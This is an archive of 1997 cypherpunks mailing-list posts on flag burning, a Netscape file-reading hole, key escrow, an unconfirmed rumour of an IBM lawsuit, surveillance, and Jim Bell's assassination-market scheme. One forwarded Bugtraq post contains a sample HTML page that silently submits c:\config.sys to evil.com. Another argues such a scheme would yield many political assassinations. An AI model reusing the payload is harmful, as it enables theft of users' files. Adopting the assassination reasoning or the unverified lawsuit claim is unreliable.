December 2003 - cypherpunks-legacy

Re: FCPUNX:Flag Burning...
by jamesd＠echeque.com 18 Dec '03

18 Dec '03

On 13 Jun 97 at 1:20, RS wrote: > To allow someone to publicly burn a flag is essentially displaying our > freedom being burned. Who is that most gravely desecrates the American flag? Those who burn it, spit on it, shit on it? Or those who violate the principles for which it stands? --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

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Re: FCPUNX:Netscape Security Flaw is a Feature
by jamesd＠echeque.com 18 Dec '03

18 Dec '03

At 09:33 PM 6/12/97 -0700, Tim May wrote: > According to Netscape spokesmen, this feature was added to the kernel of > Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery > Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy > Denning asked us to insert the "remote read" capabilities to ensure that > the legitimate needs of law enforcement are met. No person cruising the Web > has any expectation of privacy, as even Declan McCullagh has pointed out." > > Marc Rotenberg commented, "Privacy at the individual user level is > unimportant, just so long as a Privacy Ombudsman can decide on the > legitimate needs of law enforcement." Please cut the spoofing, or add visible indication of when you are spoofing for the benefit of the less well informed amongst our audience. I suggest that any spoof you write should come not from Tim May, but from Class B Citizen Unit 8387 Tim May. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

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Re: FCPUNX:Untraceable Contract Killings
by jamesd＠echeque.com 18 Dec '03

18 Dec '03

At 05:39 PM 6/10/97 -0700, Wei Dai wrote: > I think the novelty of Bell's scheme is that it allows assassination > payments to be pooled from a large number of anonymous payers without > explicit coordination (i.e., the payers do not have to communicate with > each other to work out a contract, etc.). For killing a neighbor it > doesn't improve upon the simple untraceable contract, but it can make a > big difference when the target has many enemies (Bell gave politicians as > an example). > > Now in light of the fact that when the target has many enemies the > assassination becomes a non-excludable public good, it is almost certain > that the scheme cannot actually work in practice. All of the potential > payers would rather free-ride and let others pay, so the public good ends > up not being "produced". This not correct: Public goods are underproduced, but they are produced. Thus Bell's scheme would lead to less than the economically optimal number of political assassinations, but this is still a great deal more than zero, and still likely to have substantial effect on political behavior. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

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IBM sues critics?
by Secret Squirrel 18 Dec '03

18 Dec '03

According to a usually reliable contact in a position to know, IBM Friday filed a liable suit against the 11 authors of the study titled "The risks of key recovery, key escrow and trusted third-party encryption" plus their employers and the Centere for Democracy and Technology, which sponsored the report. According to my contact, IBM feels that the report directly targets their own key recovery system, and falsely implies that it isn't reliable. They are asking for unspecified damages. This means IBM is suing such people as Matt Blaze, Whitfield Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT over the question of whether its key recovery system really works. Considering that truth is a defense and the details of the IBM system could be part of the defense's evidence, it should be an interesting trial to say the least. I have not seen the actual court papers and really have no idea whether my contact is totally accurate. Can anyone confirm the details? I just read the study in question, and it sounds like IBM is totally out of line and trying to intimidate its critics with threats of expensive if frivolous lawsuits. On the other hand, some of the parties named in the suit (Microsoft, AT&T) have their own armies of lawyers to defend themselves, so it's hard to be sure of what's going on here. I think the report is still at www.crypto.com or www.cdt.org.

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Re: IBM sues critics?
by John Young 18 Dec '03

18 Dec '03

Secret Squirrel wrote: >According to a usually reliable contact in a position to know, IBM Friday >filed a liable suit against the 11 authors of the study >titled "The risks of key recovery, key escrow and trusted third-party >encryption" plus their employers and the Centere for Democracy and >Technology, which sponsored the report. According to my contact, IBM >feels that the report directly targets their own key recovery system, >and falsely implies that it isn't reliable. They are asking for >unspecified damages. If this report is true it's worth taking a look at IBM's policy paper "The need for a global cryptographic policy framework" to understand why the key study report is such a threat to Blue's global market strategy: http://www.ibm.com/security/html/pp_global.html IBM's economic incentive to attack the report is substantial, not least because it hopes to garner the lion's share of global GAK -- not that that's news.

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Netscape Exploit
by Lucky Green 18 Dec '03

18 Dec '03

>Approved-By: aleph1(a)UNDERGROUND.ORG >Date: Sat, 14 Jun 1997 19:21:30 -0500 >Reply-To: root <root(a)BACKWATER.PBX.ORG> >Sender: Bugtraq List <BUGTRAQ(a)NETSPACE.ORG> >From: root <root(a)BACKWATER.PBX.ORG> >Subject: Netscape Exploit >To: BUGTRAQ(a)NETSPACE.ORG > >Here is a sample it isn't complete but you get the basic idea of what is >going on ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > ><BODY onLoad="daForm.submit()"> ><FORM > NAME="daForm" > ACTION="http://evil.com/cgi-bin/formmail.pl" > METHOD=POST> > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your >Harddrive"> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > >and so on and so forth... --Lucky Green <shamrock(a)netcom.com> PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm

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e$: Skins vs. Shirts
by Robert Hettinga 18 Dec '03

18 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: Robert Hettinga <rah(a)shipwright.com> Mime-Version: 1.0 Precedence: Bulk Date: Sat, 14 Jun 1997 14:02:41 -0400 From: Robert Hettinga <rah(a)shipwright.com> To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: e$: Skins vs. Shirts At 10:28 am -0400 on 6/14/97, Adam Shostack wrote: > Are FAT file lists stored as files? > > On a Unix box, /. refers to the file containing directory > entries, the list of files in the directory. If there is an analogous > file on a dos box, you can explore. (Does the bug work on Unix? I've > heard it only works if java or livescript are turned on, so it hasn't > worried me enough to investigate.) All this reminds me of something Tim May, Eric Hughes, and others have said before. Once you've gotten to the point where loss of security equals, in a very literal sense, loss of money, the incentive to publicize any given security hole starts to go away. Adam, above, is speculating about the mechanics of a Netscape security hole, which, two years ago, would have gotten someone like Ian Goldberg a grand and a t-shirt, but probably only after they had published it on the net, just like Mssrs Goldberg and Wagner had to do, in order to get Netscape's attention. That included directions for how to replicate the problem. Back then, we wouldn't have been speculating about the mechanics of the hole, because people would be playing with it to see how it worked. As it is, latest hole was published in terms of its results only, and not its mechanics. Instead, those precious details were relased only to Netscape, and only for, NPR says, "an undisclosed sum". Lest we think of this as latter-day greenmail, we have to remember that greenmail actually had it's putative effect, which was to increase the returns to the shareholders by increasing the stock price. It was never fair to begrudge T. Boone Pickens the pound of flesh he extracted from companies like Phillips Petroleum, mostly because the pound he cut off was usually lard, anyway. Not to compare Netscape to a Pritikin candidate, of course. Nobody can see all the consequences of tens or hundreds of thousands of lines of code, and the very best way to solve the semantic problem that poses is the internet way, by swarming it to death. With that in mind, I expect that the next stage in this increasing security "price" escallation will be much more interesting. It won't be long before the first people who say anything about a new security hole will be people who have money stolen from them, and not much will be said by the people who discover those holes in the first place. And, of course, lots of those people probably won't be so virtuous in their use of what they figure out, either. We're about to enter a new era of parallel evolution, much like the relationship between cheeetahs and Thompson's gazelles, where a constant arms race makes predator and prey more efficient, excellerating evolution in both species. Now, I don't think this forgives people from publishing their source code, far from it. I expect that people selling financial cryptography and allied commercial products will still have to publish their source, or nobody will trust it enough buy it. I'm just saying that it will tend to be the victims, and probably not the next generation of "moneypunks", who will be announcing the failure of any given commerce application. So, instead being one of free shirts, the game will be one of payment in, um, skins. And, before long, there will be many more skins out there belonging to people who are spending money than the people who accidentally built the wallets with holes in them could ever pay in gre$enmail. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

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Re: Impact of Netscape kernel hole
by geeman＠best.com 18 Dec '03

18 Dec '03

At 10:28 AM 6/14/97 -0400, Adam Shostack wrote: > > >| >Tim's post (although refuted by Marc) raises some serious issues since I >| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > > Are FAT file lists stored as files? not exactly. you cannot just open and read. you must jump hoops; but does the nscp hole allow execution of arbitrary code? that would be much worse .... > > On a Unix box, /. refers to the file containing directory >entries, the list of files in the directory. If there is an analogous >file on a dos box, you can explore. so, no: not unless you can write your own foreign code and run it on the victim pc. (Does the bug work on Unix? I've >heard it only works if java or livescript are turned on, so it hasn't >worried me enough to investigate.) > >Adam > > > >-- >"It is seldom that liberty of any kind is lost all at once." > -Hume > > > >

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We need more surveillance--a morality play about terrorism
by Tim May 18 Dec '03

18 Dec '03

[Some speculation about the current American attitudes about terrorism, about the changes in civil liberties to deal with the "terrorist threat," and even some comments about Jim Bell and his predicament.] I've been watching an HBO movie, "Path to Paradise," about the bombing of the World Trade Center in February 1993. It's quite well-done, as most HBO movies of this sort are. However, it is fairly heavy on a propaganda message which may give some insights into the likely changes in political freedoms in the United States. Some examples: * repeated examples of how the cops and FBI _could have_ arrested the Arabs if only the Constitution could be reinterpreted to allow arrests for possession of political pamphlets, guns (legally owned), etc. * "You mean Islamic radicals are free to preach their message of hate and violence? Unbelievable!" (This is a paraphrase...there were several such opinions expressed, where FBI managers express outrage that such things are permitted in the U.S.) * The niceties of getting wiretap orders were treated as ways to coddle criminals. * The ease with which citizen-units and others can order chemicals and suchlike was shown graphically, with the subtext being that this easy ordering ought to be stopped. (This was clear from the dramatic presentation.) * Unlike many such movies on criminal matters, there was very little discussion of civil rights, of the right of persons to move about freely, and so on. In short, a morality play about the hazards of letting people plot their crimes without proper surveillance. Not to sound conspiratorial, I suspect that this changed climate is consistent with the views of the FBI and White House, and that HBO is playing some role (unofficially, of course, and maybe not even consciously) in this new emphasis. (In the same way that the Rambo movies, to name just one example, resonated with American popular opinion in the Reagan era.) Speculation: This may also have something to do with the "no bail" predicament Bell now faces. The "stink bomb" he allegedly used in an IRS building could be Sarin gas, putatively, given the claims that he had Sarin precursors. Now we may mostly think he's harmless, but the combination of this new "let's get tough on terrorist plotters" mood, combined with the chemical stuff they found, his calls for killing of government agents, his apparent willingness to use chemical bombs (so the claim goes), all add up to a "get tough" outcome. Whether it stays this way past his arraignment in a few weeks is of course unknown. (Any magistrate or DA who watches this HBO movie might be wondering if releasing Bell would be turning him loose to launch a Sarin gas attack on his Fed enemies. I don't think this is a plausible threat, knowing what I know of Bell.) Something to think about. Between the World Trade Center bombing and OKC, there seem to be more people saying that certain civil liberties need to be given up to ensure security. Where have we heard this before? (Hint: back in Ben Franklin's day.) --Tim May, who's sorry he missed the display of firepower at the physical meeting today There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

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18 Dec '03

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